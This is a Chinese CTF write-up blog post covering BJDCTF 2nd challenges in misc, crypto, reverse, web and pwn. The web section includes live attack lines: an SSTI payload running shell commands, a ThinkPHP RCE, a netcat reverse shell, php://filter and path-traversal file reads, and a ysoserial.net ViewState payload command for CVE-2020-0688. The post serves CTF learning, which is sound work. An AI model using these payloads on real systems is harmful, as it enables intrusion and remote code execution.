BJDCTF 2nd write up
[TOC]
MISC
最简单的misc-y1ng
1.伪加密//据说有,但是我用360压缩直接打开了
2.winhex打开 补全png头 可以打开png
3.得到一串16进制字符 转字符串即可
BJD{y1ngzuishuai}
A_Beautiful_Picture
linux打不开 crc错误
1.宽高问题
2.crc问题
修改高1000得到flag
BJD{PnG_He1ghT_1s_WR0ng}
小姐姐-y1ng
直接搜索BJD得到flag
BJD{haokanma_xjj}
EasyBaBa
图片挺大的先binwalk试一下
1 | DECIMAL HEXADECIMAL DESCRIPTION |
分离后得到zip
JPG打不开..
发现是avi头,先打开看一下有二维码闪过。
通过ps进行修复
6167696E5F6C
6F76655F59
424A447B696D
316E677D
为base64
agin_l
ove_Y
BJD{im
1ng}
排一下顺序
BJD{imagin_love_Y1ng}
Real_EasyBaBa
相比easybaba
文件就比较小。还是过一遍binwalk
1 | DECIMAL HEXADECIMAL DESCRIPTION |
末尾有zip 但是foremost分离不出来。我们手工分离一下。。
winhex位置0x6e80
得到hint
1 |
|
远处看是二维码。。
手机扫不出来
QRcode
1 | od -vtx1 ./draw.png | head -56 | tail -28 |
得到
1 | 0000700 01 00 02 10 03 10 00 00 01 ee c0 b8 a6 00 00 00 |
看了官方才知道,把00去掉就能看出flag了..
BJD{572154976}
圣火昭昭-y1ng
1 | 文件属性发现 |
新佛曰:http://hi.pcmoe.net/buddha.html
得到
1 | gemlovecom |
脑洞啊 全靠猜
outguess隐写
outguess -r 1.jpg -t 1.txt
1 | outguess -k "gemlove" -r 1.jpg 1.txt |
得到
BJD{wdnmd_misc_1s_so_Fuck1ng_e@sy}
TARGZ-y1ng
想不出来 看的wp
300次压缩 下一个压缩包密码是下一个的名字
1 | #www.gem-love.com |
BJD{wow_you_can_rea11y_dance}
Imagin - 开场曲
听力题//我是听不出来
1 | 1.大写 |
BJD{MIKUTAP3313313}
crypto
签到-y1ng
base64解密
BJD{W3lc0me_T0_BJDCTF}
老文盲了
吐了。。
http://www.duchulai.com/
让他读出来。。就知道了
BJD{淛匶襫黼瀬鎶軄鶛驕鳓哵}
cat_flag
显然01,之后二进制转字符串
BJD{M!a0~}
灵能精通-y1ng
圣堂武士编码
BJD{IMKNIGHTSTEMPLAR}
燕言燕语-y1ng
16进制转字符串
yanzi ZJQ{xilzv_iqssuhoc_suzjg}
维吉尼亚解码
BJD{yanzi_jiushige_shabi}
Y1nglish-y1ng
BJD{pyth0n_Brut3_f0rc3_oR_quipquip_AI_Cr4cy}
但是有单词错误
cracy不知道啥意思改成crack正确
BJD{pyth0n_Brut3_f0rc3_oR_quipquip_AI_Cr4ck}
rsa0
1 | e=11834969 |
得到p,q;从而得到d,可以计算出m
1 | import gmpy2 |
动态flag
rsa1
p,q不变。e c变化。
考虑共模攻击
1 | from gmpy2 import invert |
动态flag
reverse
guessgame
用了几次就猜到了数2333 然而没啥用
ida搜索字符串
得到flag
8086
本来想dosbox
直接跑,结果死循环。。
ida查看 因为硬编码的问题代码被解析为了数字。
按c
转化为汇编。发现是数据进行了异或
异或即可
1 | DATAS SEGMENT |
其他人的wp:
1.dosbox debug直接通过a命令直接把jmp loc改成两个nop,在通过g命令执行就行
2.调试器手动改EIP执行
//还是第一次逆dos文件 太菜了
diff2
这个是我不知道什么时候新增的。赛后才看见。
通过ssh把diff文件下载到本机
程序基本看一下。只有
1 | _start |
有漏洞的地方只有可能在compare
1 | int compare() |
char型变量占1个字节,相当于unsigned byte,表示范围是0x0-0xff,那么两char相加的范围就是0x0 - 0x1fe ,可是char型只能存储1个字节的数据,因此两char相加产生的进位就会被忽略。举个栗子,0x7d+0x83=0x100->0x0。
所以如果buf2[i]+buf1[i]=0x100就会终止for循环
每次返回一个进行爆破即可
//脚本不太会写,参考一下官方
刚开始我还在想脚本文件无法上传改怎么执行。
直接python
就可以执行了。。
1 | from subprocess import * |
web
fake google
随便输入一个字符串,搜索后f12
1 | <!--ssssssti & a little trick --> P3's girlfirend is : 1<br><hr> |
有回显
显然为ssti
1 | qaq?name=?name={{ config.__class__.__init__.__globals__['os'].popen('cat /flag').read() }} |
得到flag
基本没过滤吧。。
old-hack
thinkphp5.0.23框架
网上找到分析https://blog.csdn.net/xuandao_ahfengren/article/details/86333189
1 | http://c821414e-e52d-4da1-a324-5ee03b7a5880.node3.buuoj.cn/index.php?s=captcha |
ls ../../../../
才找到flag..吐了
duangShell
1 | how can i give you source code? .swp?! |
http://dc767036-dae6-4291-b494-e1b65b32403d.node3.buuoj.cn/.index.php.swp
得到swp文件(刚开始index前忘记加. 还以为记错了。。
下载之后 先vi -r index.php.swp进入就不是乱码了
这里利用反弹shell来读取flag。需要在buuoj basic创建linux labs//刚开始用自己的服务器..gg
girl_friend=nc ip port -c sh
简单注入
http://www.freesion.com/article/2367234678/原题
改简单?
1 | import requests |
得到密码
1 | OhyOuFOuNdit |
登陆可以得到flag
假猪套天下第一
主要利用好MDNhttps://developer.mozilla.org/en-US/docs/Web/HTTP/Headers
登陆时抓包得到
1 | <!-- L0g1n.php --> |
访问告诉我们
Sorry, this site will be available after totally 99 years!
cookie中有time时间戳 修改时间
Sorry, this site is only optimized for those who comes from localhost
Client-IP: 127.0.0.1
Sorry, this site is only optimized for those who come from gem-love.com
Referer: gem-love.com
Sorry, this site is only optimized for browsers that run on Commodo 64
User-Agent: Contiki/1.0 (Commodore 64; http://dunkels.com/adam/contiki/)
Sorry, this site is only optimized for those whose email is root@gem-love.com
From: root@gem-love.com
Sorry, this site is only optimized for those who use the http proxy of y1ng.vip<br> if you dont have the proxy, pls contact us to buy, ¥100/Month
Via: y1ng.vip
得到base64解密为flag
Schrödinger
脑洞有点大 看的wp
有个jQuery.js
调用其他函数,说明这个jQuery.js
有问题的
其中跟成功率有关
cookie的dXNlcg
值是base64加密的
改成0的base64
得到一个av号。。
评论取找到flag
BJD{Quantum_Mechanics_really_Ez}
xss之光
扫描发现有git泄露
得到源码
1 |
|
结合名字知道应该是用xss
原生类序列化
https://www.cnblogs.com/iamstudy/articles/unserialize_in_php_inner_class.html
1 |
|
elementmaster
两个标签被隐藏
16进制转字符串标签名
Po.php
打开只有个.
之后…看脑洞
1 | import os |
考察元素周期表。每个访问后拼接得到
1 | And_th3_3LemEnt5_w1LL_De5tR0y_y0u.php |
查看得到flag
文件探测
1 | <!-- Inheriting and carrying forward the traditional culture of the first BJDCTF, I left a hint in some place that you may neglect --> |
不知道啥用。先放着。
扫描有robots.txt
1 | User-agent: * |
其中admin.php
1 | only 127.0.0.1 can access! You know what I mean right? |
抓包发现home.php
http://c98eb18f-2ba9-458e-b1ad-203080b2e7c7.node3.buuoj.cn/home.php?file=system
官方hint SSRF?
可以使用协议读取文件
1 | file=php://filter/convert.base64-encode/resource=system |
对system.php审计
1 |
|
q1=aaa&q2=http://localhost/admin.php?a=&q3=GET%s%
可以绕过得到admin.php//类似极客大挑战中的SSRF
1 |
|
我们是可以删除phpsessid
验证ip判断不会影响后续flag。只需要判断是否本地ip以及decrypt。
1 |
|
从而得到flag
EasyAspDotNet
1 | Hint1:web.config |
之前没怎么搞过asp
1 | <img id="image1" src="/ImgLoad.aspx?path=1.png" /><br> |
估计有文件包含
直接访问打不开
1 | curl http://c6553c61-e331-480a-a2e0-c512c831f751.node3.buuoj.cn/ImgLoad.aspx?path=../../web.config |
1 |
|
https://www.4hou.com/posts/GYq7
https://devco.re/blog/2020/03/11/play-with-dotnet-viewstate-exploit-and-create-fileless-webshell/
CVE-2020-0688
,ASP.NET VIEWSTATE
反序列化漏洞
generator
在源码中找到。
validationKey
和decryptionKey
也已经知道。
利用需要工具
https://github.com/pwntester/ysoserial.net
1 | ysoserial.exe -p ViewState -g ActivitySurrogateSelectorFromFile -c "ExploitClass.cs;./System.dll;./System.Web.dll" --generator="CA0B0334" --validationalg="SHA1" --validationkey="47A7D23AF52BEF07FB9EE7BD395CD9E19937682ECB288913CE758DE5035CF40DC4DB2B08479BF630CFEAF0BDFEE7242FC54D89745F7AF77790A4B5855A08EAC9" |
得到
1 | 4AAAEAAAAAAAAAAAAAAAAAAAAAAD8AAAAAAAAABAAAAAIAAAAAAAAAAAAAAAAAAABEAAAAAQBWAGEAcgBGAGkAbABlAEkAbgBmAG8AAAAAACQABAAAAFQAcgBhAG4AcwBsAGEAdABpAG8AbgAAAAAAAACwBKwBAAABAFMAdAByAGkAbgBnAEYAaQBsAGUASQBuAGYAbwAAAIgBAAABADAAMAAwADAAMAA0AGIAMAAAACwAAgABAEYAaQBsAGUARABlAHMAYwByAGkAcAB0AGkAbwBuAAAAAAAgAAAAMAAIAAEARgBpAGwAZQBWAGUAcgBzAGkAbwBuAAAAAAAwAC4AMAAuADAALgAwAAAAPAANAAEASQBuAHQAZQByAG4AYQBsAE4AYQBtAGUAAABkAGcAcABrADUAcgBsADUALgBkAGwAbAAAAAAAKAACAAEATABlAGcAYQBsAEMAbwBwAHkAcgBpAGcAaAB0AAAAIAAAAEQADQABAE8AcgBpAGcAaQBuAGEAbABGAGkAbABlAG4AYQBtAGUAAABkAGcAcABrADUAcgBsADUALgBkAGwAbAAAAAAANAAIAAEAUAByAG8AZAB1AGMAdABWAGUAcgBzAGkAbwBuAAAAMAAuADAALgAwAC4AMAAAADgACAABAEEAcwBzAGUAbQBiAGwAeQAgAFYAZQByAHMAaQBvAG4AAAAwAC4AMAAuADAALgAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAwAAADgNgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEVgAAAAtTeXN0ZW0uR3VpZAsAAAACX2ECX2ICX2MCX2QCX2UCX2YCX2cCX2gCX2kCX2oCX2sAAAAAAAAAAAAAAAgHBwICAgICAgICExPSdO4q0RGL |
添加cmd变量即可rce
cmd=type c:\Fl@g_glzjin_still_w@nts_a_girl_friend.txt
pwn
r2t3
整型溢出
https://blog.csdn.net/koozxcv/article/details/50295805
v3是int8最大256 所以256+1强制转化为1 这里用261
1 | #encoding=utf-8 |
one_gadget
1 | one_gadget /libc-2.29.so |
得到地址
1 | 0xe237f,0xe2383,0xe2386,0x106ef8 |
1 | from pwn import * |
ydsneedgirlfriend2
指针free后未清零 造成UAF
1 | from pwn import* |
r2t4
格式化字符串写__stack_chk_fail 函数来 bypass canary
1 | from pwn import * |
test
1
1 | env $PATH |
2 x64_64
命令
1 | ls -al /usr/bin/x86_64 |
secret
爆破..?
官方:buf缓冲区溢出。猜对一次减1.
printf和system相差0x10从而利用覆盖system
rci
考察点 inode
ls -ali /tmp
$0
snake_dyn
登陆密码扫码
getName用了strncpy如果输出大于0x100可以得到flag
1 | from pwn import * |
总结
难度不是很大。脑洞考察比较多。新人还是可以试着做一下的。
- 本文作者: lyxp1314
- 本文链接: https://lyxp1314.github.io/2020/03/24/BJDCTF-2nd-write-up/
- 版权声明: 本博客所有文章除特别声明外,均采用 MIT 许可协议。转载请注明出处!